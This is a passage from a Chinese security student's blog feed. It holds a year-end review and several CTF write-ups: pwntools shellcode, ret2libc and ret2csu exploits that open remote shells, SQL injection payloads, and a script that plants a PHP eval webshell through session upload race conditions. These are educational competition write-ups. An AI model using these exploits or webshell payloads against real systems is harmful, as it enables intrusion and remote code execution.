--><p>作为学院项目组的比赛之一，我本人没有非常上心。但是由于这是大赛第一届的缘故，我们还是有了前往海南参加决赛的机会。这也是成为了我大学期间第一次获得了去往外地比赛的机会，也算是一段特别而又难忘的经历吧。</p><!-- /wp:paragraph --><!-- wp:image {"id":856,"sizeSlug":"full","linkDestination":"none"} --><figure class="wp-block-image size-full"><img src="/images/2022/01/f731961fa2c80148e21e026106376506-edited.jpg" alt="" class="wp-image-856"/></figure><!-- /wp:image --><!-- wp:heading {"level":3} --><h3>网安协会会长</h3><!-- /wp:heading --><!-- wp:paragraph --><p>由于我不是网安相关专业，甚至不是计算机相关专业，因此在这一届网安换届的时候，我也没有什么想过会成为会长。但是最后得知我成为了新一任会长的时候，我有些惊喜和惶恐。害怕大家，尤其是老师会对我不认可。但是最终我们协会在这过去的一个学期当中还是有相当不错的表现，我们也得到了认可。</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>教育行业攻防大赛</h3><!-- /wp:heading --><!-- wp:paragraph --><p>本来按照原定计划是参加今年闽盾杯CTF省赛的，但是在赛前临时接到通知说可能需要我们队作为攻击队去参加教育行业的攻防赛道，两个无法同时参加。由于我们的渗透测试经验相对于同样作为攻击队的成熟的网安企业还是有很多的不足，因此我们想着只要不要0分回来就好了，但是我们最后还是拿下了不少目标系统，获得了一个满意的成绩。</p><!-- /wp:paragraph --><!-- wp:image {"id":850,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2022/01/451923c3641c16c1bdcf94942dd61bc-1024x768.jpg" alt="" class="wp-image-850"/></figure><!-- /wp:image --><!-- wp:image {"id":851,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2022/01/5619a46d8c2549249373b4d8d2f70df-1024x768.jpg" alt="" class="wp-image-851"/></figure><!-- /wp:image --><!-- wp:heading {"level":3} --><h3>渗透测试</h3><!-- /wp:heading --><!-- wp:paragraph --><p>在下半年这个学期，经过一个偶然的机会，我们协会核心成员开始了对于校内设施的授权渗透测试活动。我们一边学习有关的知识，一边对身边发现的系统进行测试。最终到了年底，我们一共提交了十余份渗透测试成果，其中不乏一些核心的基础设施，也算是完成了一个小小的梦想。</p><!-- /wp:paragraph --><!-- wp:image {"id":854,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2022/01/b1e7e17bad45d333f13bc1f63036b04-1024x767.jpg" alt="" class="wp-image-854"/></figure><!-- /wp:image --><!-- wp:heading --><h2>展望2022</h2><!-- /wp:heading --><!-- wp:paragraph --><p>2022年又是一个极为重要的节点。2023年考研的拉锯赛已经开始。到了现在这个阶段才逐渐明白，在高考，周围的人都会为你扫清障碍；而考研则不会，一切的学习计划都需要自己负责，周围的人不一定都会为你着想，甚至会为你设阻。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>2022年，我也想继续仰望星空。不仅仅继续朝着自己的目标前进，同时也想用手中的相机拍下自己的天空中最璀璨的繁星。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>如今已经跨入了2022年的大门，属于自己的美好明天就在自己眼前，不管周围的人的是怎么看的，做好自己，尽自己一切所能排除障碍，为自己心中的那个美好而战。</p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;        又到了一年一度的年度总结时间了。不知道是人变懒了还是因为年龄增长、变得成熟了一点的缘故，现在已经不再像之前一样，想要写很多的文字来总结和记录这一年到底经历了什么。面对已经成为历史的2021年，我也只想用几段简明的文</summary>
      
    
    
    
    <category term="生活" scheme="https://deoplljj.com/categories/%E7%94%9F%E6%B4%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>CTFShow_月饼杯 容易的胖</title>
    <link href="https://deoplljj.com/2021/10/ctfshow_%E6%9C%88%E9%A5%BC%E6%9D%AF-%E5%AE%B9%E6%98%93%E7%9A%84%E8%83%96/"/>
    <id>https://deoplljj.com/2021/10/ctfshow_%E6%9C%88%E9%A5%BC%E6%9D%AF-%E5%AE%B9%E6%98%93%E7%9A%84%E8%83%96/</id>
    <published>2021-10-03T13:46:38.000Z</published>
    <updated>2021-10-03T13:46:38.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:image {"id":834,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-4.png" alt="" class="wp-image-834"/></figure><!-- /wp:image --><!-- wp:image {"id":835,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-5.png" alt="" class="wp-image-835"/></figure><!-- /wp:image --><!-- wp:paragraph --><p id="u68bd39dd">首先有<code>lea esp ,[ebp - 8]</code>将栈顶移动到栈底-8的位置，正好就是我们能够控制的最后4byte</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="ue0baebbe">之后将这个值赋给<code>ecx</code></p><!-- /wp:paragraph --><!-- wp:image {"id":836,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-6.png" alt="" class="wp-image-836"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>之后进行一些操作（似乎无关紧要）</p><!-- /wp:paragraph --><!-- wp:image {"id":837,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-8.png" alt="" class="wp-image-837"/></figure><!-- /wp:image --><!-- wp:image {"id":838,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-9.png" alt="" class="wp-image-838"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>最后将栈顶esp写为ecx-4 后ret</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>根据我们对于汇编的理解，<code>ret</code>等同于<code>pop eip;</code> 实质上相当于将当前栈指针跳转到<code>ebp</code>。</p><!-- /wp:paragraph --><!-- wp:image {"id":839,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-10.png" alt="" class="wp-image-839"/></figure><!-- /wp:image --><!-- wp:image {"id":840,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-11.png" alt="" class="wp-image-840"/></figure><!-- /wp:image --><!-- wp:paragraph --><p id="u134ec941">了解了这一个关键代码，我们就可以开始写exp了</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="u7ac5f5cf">首先是全局变量s，我们在s开头的4byte写入一个指向S+0x4的指针，即0x804A044，再再s+0x4的位置布置shellcode，这样在ret过来的时候，可以直接由这个指针跳转到shellcode运行；</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="u46e3bd6c">其次在栈上的s，由于会先匹配"yes\n"，我们先写入yes\n\x00（截断），之后填充，但是要保证ebp-8处的位置是0x804A044</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">from pwn import *context(arch = 'i386', os = 'linux', log_level = 'debug')#p = process("./pwn02")p = remote("pwn.challenge.ctf.show",28168)s_addr = 0x804A044payload1 = p32(s_addr)+asm(shellcraft.sh())p.sendlineafter('your shellcode',payload1)#gdb.attach(p,'b puts')payload2 = 'yes\n\x00' + '\x00'*3   #padding to 8payload2 += p32(s_addr)*3           p.sendlineafter('shellcode????',payload2)p.interactive()</pre><!-- /wp:enlighter/codeblock -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:image {&quot;id&quot;:834,&quot;sizeSlug&quot;:&quot;large&quot;,&quot;linkDestination&quot;:&quot;none&quot;} --&gt;
&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img src=&quot;/images/2021/10</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>CTFShow_月饼杯 简单的胖</title>
    <link href="https://deoplljj.com/2021/10/ctfshow_%E6%9C%88%E9%A5%BC%E6%9D%AF-%E7%AE%80%E5%8D%95%E7%9A%84%E8%83%96/"/>
    <id>https://deoplljj.com/2021/10/ctfshow_%E6%9C%88%E9%A5%BC%E6%9D%AF-%E7%AE%80%E5%8D%95%E7%9A%84%E8%83%96/</id>
    <published>2021-10-03T13:40:36.000Z</published>
    <updated>2021-10-03T13:41:27.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:image {"id":827,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image.png" alt="" class="wp-image-827"/></figure><!-- /wp:image --><!-- wp:image {"id":828,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-1.png" alt="" class="wp-image-828"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>查看保护，除了NX其他几乎没有开，存在栈溢出漏洞，也没有看到有后门函数，基本上确定是x64的ret2libc</p><!-- /wp:paragraph --><!-- wp:image {"id":829,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-2.png" alt="" class="wp-image-829"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>GOT表和PLT表</p><!-- /wp:paragraph --><!-- wp:image {"id":830,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/10/image-3.png" alt="" class="wp-image-830"/></figure><!-- /wp:image --><!-- wp:paragraph --><p id="uebaa3b3c">使用ropper查找"<code>pop rdi; ret;</code>"和"<code>ret;</code>"用于构造ROP链</p><!-- /wp:paragraph --><!-- wp:code --><pre id="C3WcH" class="wp-block-code"><code>ret_padding = 0x4004cepoprdi = 0x400703</code></pre><!-- /wp:code --><!-- wp:paragraph --><p id="ua79dc067">由于题目没有指定Libc版本，为了能在本地和远端双向打通，还是使用LibcSearcher来查找对应的libc版本</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group=""># coding=utf-8from pwn import *from LibcSearcher import *file_path='./pwn01.pwn01'context(binary=file_path,os='linux')#p = process(file_path)p= remote("pwn.challenge.ctf.show",28185)elf = ELF(file_path)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')printf_got = 0x601018printf_plt = 0x4004e0ret_padding = 0x4004cemain = elf.symbols['main']poprdi = 0x400703#gdb.attach(p)payload = b'A'*0x20+p64(0)payload += p64(ret_padding) + p64(poprdi)+p64(printf_got)+p64(printf_plt)+p64(ret_padding)+p64(main)+p64(0) #远端靶机似乎是Ubuntu18,会验证栈对齐，所以需要一些ret作为paddingp.sendline(payload)p.recvline()s = p.recv(6)printf_addr = u64(s.ljust(8, b'\x00'))libc = LibcSearcher('printf',printf_addr)info(hex(printf_addr))libc_base = printf_addr-libc.dump('printf')system_addr = libc_base+libc.dump('system')str_bin_sh = libc_base+libc.dump('str_bin_sh')info("libc_base =>; "+hex(libc_base))info("system =>; "+hex(system_addr))info("str_bin_sh =>; "+hex(str_bin_sh))payload = b'A'*0x20+p64(0)payload += p64(ret_padding) + p64(poprdi)+p64(str_bin_sh)+p64(system_addr)p.sendline(payload)p.interactive()</pre><!-- /wp:enlighter/codeblock -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:image {&quot;id&quot;:827,&quot;sizeSlug&quot;:&quot;large&quot;,&quot;linkDestination&quot;:&quot;none&quot;} --&gt;
&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img src=&quot;/images/2021/10</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>汇编中entry,leave,retn指令的理解</title>
    <link href="https://deoplljj.com/2021/10/%E6%B1%87%E7%BC%96%E4%B8%ADentryleaveretn%E6%8C%87%E4%BB%A4%E7%9A%84%E7%90%86%E8%A7%A3/"/>
    <id>https://deoplljj.com/2021/10/%E6%B1%87%E7%BC%96%E4%B8%ADentryleaveretn%E6%8C%87%E4%BB%A4%E7%9A%84%E7%90%86%E8%A7%A3/</id>
    <published>2021-10-03T12:48:10.000Z</published>
    <updated>2021-10-03T12:48:10.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:code --><pre id="ratTU" class="wp-block-code"><code>ebp:栈基址（栈底）eip:当前栈指针esp:栈顶指针</code></pre><!-- /wp:code --><!-- wp:paragraph --><p id="u04c860e1">根据我们对汇编的理解，一个函数的入口处和结尾处（<code>leave</code>和<code>retn</code>）通常表示为下面的指令</p><!-- /wp:paragraph --><!-- wp:code --><pre id="eax2H" class="wp-block-code"><code>entry:  push ebp  mov ebp, espleave:  mov esp, ebp  pop ebpretn: pop eip</code></pre><!-- /wp:code -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:code --&gt;
&lt;pre id=&quot;ratTU&quot; class=&quot;wp-block-code&quot;&gt;&lt;code&gt;ebp:栈基址（栈底）
eip:当前栈指针
esp:栈顶指针&lt;/code&gt;&lt;/pre&gt;
&lt;!-- /wp:code --&gt;

&lt;!-- wp:paragrap</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>ret2libc+ret2csu</title>
    <link href="https://deoplljj.com/2021/08/ret2libcret2csu/"/>
    <id>https://deoplljj.com/2021/08/ret2libcret2csu/</id>
    <published>2021-08-18T15:28:36.000Z</published>
    <updated>2021-08-18T15:28:36.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p id="6b1a687e5336976f1d753b9af7e1ff47">以蒸米一步一步学 ROP 之 linux_x64 篇-level5为例：</p><!-- /wp:paragraph --><!-- wp:image {"id":817,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/08/image-1.png" alt="" class="wp-image-817"/></figure><!-- /wp:image --><!-- wp:image {"id":818,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/08/image-2.png" alt="" class="wp-image-818"/></figure><!-- /wp:image --><!-- wp:paragraph --><p id="9b2b411c517ea9911e581b130087ddfc">在x86-64架构下，前6个参数的传递依次按照rdi、rsi、rdx、rcx、r8、r9的顺序来传递，剩下的压入栈中传递。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="db9d4254bf513ed560763286047fea38">csu_init关键代码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"asm"} --><pre class="EnlighterJSRAW" data-enlighter-language="asm" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j.text:00000000004005F0                 mov     rdx, r15.text:00000000004005F3                 mov     rsi, r14.text:00000000004005F6                 mov     edi, r13d.text:00000000004005F9                 call    qword ptr [r12+rbx*8].text:00000000004005FD                 add     rbx, 1.text:0000000000400601                 cmp     rbx, rbp.text:0000000000400604                 jnz     short loc_4005F0.text:0000000000400606.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j.text:0000000000400606                 mov     rbx, [rsp+38h+var_30].text:000000000040060B                 mov     rbp, [rsp+38h+var_28].text:0000000000400610                 mov     r12, [rsp+38h+var_20].text:0000000000400615                 mov     r13, [rsp+38h+var_18].text:000000000040061A                 mov     r14, [rsp+38h+var_10].text:000000000040061F                 mov     r15, [rsp+38h+var_8].text:0000000000400624                 add     rsp, 38h.text:0000000000400628                 retn.text:0000000000400628 ; } // starts at 4005A0.text:0000000000400628 __libc_csu_init endp&lt;/code></pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p id="7329cf2bb52a1e9bc201be0c5da42dbd">以上csu init代码，可以帮助我们操控x86-64架构程序中，函数调用的前三个寄存器rdi、rsi、rdx。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="0a6558ead31e36e0e17380ca7203d085">例如，我们现在要通过ret2csu打印出write函数在got表中的地址，我们可以：</p><!-- /wp:paragraph --><!-- wp:preformatted --><pre id="pdlpX" class="wp-block-preformatted"><code>ssize_t write (int fd, const void * buf, size_t count)</code></pre><!-- /wp:preformatted --><!-- wp:paragraph --><p id="1476ad948c9876ae62a242efb8a4ef16">第一步：为了使用call来调用write需要<code>r12+rbx*8=write_got</code>（<code>call qword ptr [r12+rbx*8]</code>将rbx置0，此处就直接调用r12的地址了）</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="dd5047348e645c6558e043a2b322dd42">第二步：设置参数</p><!-- /wp:paragraph --><!-- wp:code --><pre id="KKU4r" class="wp-block-code"><code>edi = r13d = 1,rsi = r14 = write_got,rdx = r15 = 8</code></pre><!-- /wp:code --><!-- wp:paragraph --><p id="b10bf86246e6c714db52464ed13b5f42">第三步：为了使jnz不跳转，继续向下执行（为了可以继续构造rop链），需要</p><!-- /wp:paragraph --><!-- wp:code --><pre id="RwoyX" class="wp-block-code"><code>rbx+1=rbprbx = 0rbp = 1r12 = write_got</code></pre><!-- /wp:code --><!-- wp:paragraph --><p id="73c9c2db81dcf01bbef67aafeba9fe92">由于<code>add rsp, 38h</code> 会将当前运行的栈指针rsp添加0x38，因此，我们如果需要继续利用，就需要继续发送0x38的垃圾数据进行填充，之后附上继续调用的函数地址。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p id="a3b08bc47c7f26dfae49f558dcbb9b8c">因此，进行一次ret2csu（其中包含了一些ret2libc的技巧）执行某一个libc函数的过程为：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">payload1 = b'A'*0x80+b'B'*8      #paddingpayload1 += p64(gadget1)         #将程序流劫持到loc_400606(gadget1)payload1 += p64(0)               #rsppayload1 += p64(0)               #rbxpayload1 += p64(1)               #rbppayload1 += p64(write_got)       #r12，就是需要执行函数的地址，对应执行了0x4005F9处的内容payload1 += p64(1)               #r13 =&amp;gt; edi 第一个参数payload1 += p64(write_got)       #r14 =&amp;gt; rsi 第二个参数payload1 += p64(8)               #r15 =&amp;gt; rdx 第三个参数payload1 += p64(gadget2)payload1 += b'\x00'*0x38         #padding，因为有 add rsp, 38h 故加上0x38个填充数据payload1 += p64(main_addr)            #等待第二次触发漏洞。继续劫持</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p id="dd5becfc6125f850b667ff313c40726f">在本题中，需要三次劫持：</p><!-- /wp:paragraph --><!-- wp:list {"ordered":true} --><ol><li>write(1,write_got,8)泄露libc</li><li>read(0,bss,16)写入system地址和/bin/sh字符串</li><li>system('/bin/sh') getshell</li></ol><!-- /wp:list --><!-- wp:paragraph --><p id="5aceab11361abf97472dcb168b7c0459">完整exp:</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">from pwn import *file_path='./level5'context(binary=file_path,os='linux')p = process(file_path)elf = ELF(file_path)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')main_addr = 0x400564write_got = elf.got['write']read_got = elf.got['read']gadget1 = 0x400606gadget2 = 0x4005F0bss_addr = 0x601028#payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register#######################leak libc###############################payload1 = b'A'*0x80+b'B'*8      #paddingpayload1 += p64(gadget1)         #retpayload1 += p64(0)               #rsppayload1 += p64(0)               #rbxpayload1 += p64(1)               #rbppayload1 += p64(write_got)       #r12payload1 += p64(1)               #r13 edipayload1 += p64(write_got)       #r14 rsipayload1 += p64(8)               #r15 rdxpayload1 += p64(gadget2)payload1 += b'\x00'*0x38         #paddingpayload1 += p64(main_addr)            #等待第二次触发漏洞gdb.attach(p,'b *0x400562')p.sendafter('Hello, World\n',payload1)write_addr = u64(p.recv(8))libc_base = write_addr - libc.sym['write']system_addr = libc_base + libc.sym['system']binsh = libc_base + next(libc.search(b'/bin/sh'))success("libc_base:{}".format(hex(libc_base)))success("system_addr:{}".format(hex(system_addr)))success("binsh:{}".format(hex(binsh)))#######################read(0,bss,8) system_addr###############################payload2 = b'A'*0x80+b'B'*8      #paddingpayload2 += p64(gadget1)         #retpayload2 += p64(0)               #rsppayload2 += p64(0)               #rbxpayload2 += p64(1)               #rbppayload2 += p64(read_got)        #r12 retpayload2 += p64(0)               #r13 edipayload2 += p64(bss_addr)        #r14 rsipayload2 += p64(16)               #r15 rdxpayload2 += p64(gadget2)payload2 += b'\x00'*0x38         #paddingpayload2 += p64(main_addr)            #等待第三次触发漏洞p.sendafter('Hello, World\n',payload2)sleep(1)p.send(p64(system_addr)+b'/bin/sh\x00')sleep(1)#此时bss_addr中存储了system_addr，bss_addr+8中存储了"/bin/sh"#######################system('/bin/sh') system_addr###############################payload3 = b'A'*0x80+b'B'*8      #paddingpayload3 += p64(gadget1)         #retpayload3 += p64(0)               #rsppayload3 += p64(0)               #rbxpayload3 += p64(1)               #rbppayload3 += p64(bss_addr)        #r12 第二次的read将system的真实地址读入到了bss_addr中payload3 += p64(bss_addr+8)      #r13 =&amp;gt; edi 第二次的read将/bin/sh读入到了bss_addr+8中payload3 += p64(0)               #r14 rsipayload3 += p64(0)               #r15 rdxpayload3 += p64(gadget2)payload3 += b'\x00'*0x38         #paddingpayload3 += p64(main_addr)            #等待下一次触发漏洞p.sendafter('Hello, World\n',payload3)p.interactive()</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p id="9afa46d8a7bafb4972e1164cee4fc6d6">参考资料：</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="https://blog.csdn.net/qq_41202237/article/details/105913597">https://blog.csdn.net/qq_41202237/article/details/105913597</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="https://www.bilibili.com/video/BV1Uv411j7fr?p=9">https://www.bilibili.com/video/BV1Uv411j7fr?p=9</a></p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p id=&quot;6b1a687e5336976f1d753b9af7e1ff47&quot;&gt;以蒸米一步一步学 ROP 之 linux_x64 篇-level5为例：&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;

&lt;!-- wp:imag</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>CISCN2021复盘</title>
    <link href="https://deoplljj.com/2021/05/ciscn2021%E5%A4%8D%E7%9B%98/"/>
    <id>https://deoplljj.com/2021/05/ciscn2021%E5%A4%8D%E7%9B%98/</id>
    <published>2021-05-16T13:51:03.000Z</published>
    <updated>2021-05-21T12:25:06.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:heading {"level":1} --><h1 id="ZntZK">Web</h1><!-- /wp:heading --><!-- wp:heading --><h2 id="LDwJE">easy_sql</h2><!-- /wp:heading --><!-- wp:paragraph --><p><code>SQLMap 无列名注入 报错注入</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>SQLMap一把梭，就扫出来一个security数据库和id表，里面的东西都是假的。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>尝试fuzz一下，发现ban掉了union column information等关键字，payload上出现这些字眼直接返回一个no。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>由于column关键字被ban，因此尝试报错+无列名注入。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><code>uname=admin') AND EXTRACTVALUE(9099,CONCAT(0x5c,(select * from (select * from flag as a join flag b using(id,no))c))) --eRoM&amp;passwd=123456&amp;Submit=%E7%99%BB%E5%BD%95</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p><code>uname=admin') ANDEXTRACTVALUE(9099,CONCAT(0x5c,(left((select `6b6d7c04-f4ff-4217-b108-79d0343ceb88` from flag),32)))) --eRoM&amp;passwd=123456&amp;Submit=%E7%99%BB%E5%BD%95</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>得到flag</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="HaXe5">easy_source</h2><!-- /wp:heading --><!-- wp:paragraph --><p><code>.swo文件泄露 ReflectionMethod 读取注释</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>笑死，审题人大失误，居然是原题，payload都不带改一下的</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="https://r0yanx.com/2020/10/28/fslh-writeup/">https://r0yanx.com/2020/10/28/fslh-writeup/</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>首先发现<code>.swo</code>文件泄露 <code>.index.php.swo</code> (一定不要忘记<code>.</code>)</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>得到源码，flag藏在某个类的注释之中，于是可以尝试<code>ReflectionMethod</code> 的<code>GetDocComment</code>来获取类的注释。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><code>?rc=ReflectionMethod&amp;ra=User&amp;rb=a&amp;rd=getDocComment</code></p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="ejyML">middle_source</h2><!-- /wp:heading --><!-- wp:paragraph --><p><a href="https://www.freebuf.com/news/202819.html">https://www.freebuf.com/news/202819.html</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p><code>session.upload_progress</code>是php5.4新增的功能，说白了就是将文件上传的进度存储在session中。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>本题有一个很坑爹的地方，就是<code>.listing</code>文件，这是一个索引文件，会将当前目录的结构存储在这个文件里面。通过访问这个<code>.listing</code>文件，发现了<code>you_can_seeeeeeee_me.php</code>，审计其，发现PHP_SESSION_UPLOAD_PROGRESS这个选项是On的，说明可以尝试<code>session.upload_progress</code>进行文件包含。同时也发现了session的存储目录：<code>/var/lib/php/sessions/ceahhifgia/sess_</code>.</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>同时，session.use_strict_mode是off的，所以我们可以自己定义一个session，比如我们指定Cookie PHPSESSID=ABC，就会在session下生成一个sess_ABC的文件。但是session.upload_progress.cleanup处于开启状态，此session文件在上传后就会被自动清除，因此需要一个脚本进行条件竞争。</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">#coding=utf-8import ioimport requestsimport threadingsessid = 'flag'data = {"cmd":"var_dump(scandir('/etc'));","cf":"../../../../var/lib/php/sessions/aabcdbdcea/sess_"+sessid}def write(session):    while True:        f = io.BytesIO(b'a' * 1024 * 50)        resp = session.post( 'http://123.60.214.2:26230/', data={'PHP_SESSION_UPLOAD_PROGRESS': '&amp;lt;?php eval($_POST["cmd"]);?&amp;gt;'}, files={'file': ('zhushu.txt',f)}, cookies={'PHPSESSID': sessid} )def read(session):    while True:        resp = session.post('http://123.60.214.2:26230/',data=data)        if 'zhushu.txt' in resp.text:            print(resp.text)            event.clear()        else:            print("[+++++++++++++]retry")if __name__=="__main__":    event=threading.Event()    with requests.session() as session:        for i in range(1,30):             threading.Thread(target=write,args=(session,)).start()        for i in range(1,30):            threading.Thread(target=read,args=(session,)).start()    event.set()</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>最终找到flag所在位置<code>/etc/ahhadfehie/bbeffdceha/ibdafffefh/cfhcdedbfd/bgjbiceiei/fl444444g</code></p><!-- /wp:paragraph --><!-- wp:paragraph {"backgroundColor":"cyan-bluish-gray"} --><p class="has-cyan-bluish-gray-background-color has-background"><strong><em>剩余题目在等复现环境...</em></strong></p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:1} --&gt;
&lt;h1 id=&quot;ZntZK&quot;&gt;Web&lt;/h1&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:heading --&gt;
&lt;h2 id=&quot;LDwJE&quot;&gt;easy_sql&lt;/h2&gt;
&lt;!-- /wp:head</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>津门杯2021部分题解</title>
    <link href="https://deoplljj.com/2021/05/jmb2021/"/>
    <id>https://deoplljj.com/2021/05/jmb2021/</id>
    <published>2021-05-11T13:27:19.000Z</published>
    <updated>2021-05-11T13:27:19.000Z</updated>
    
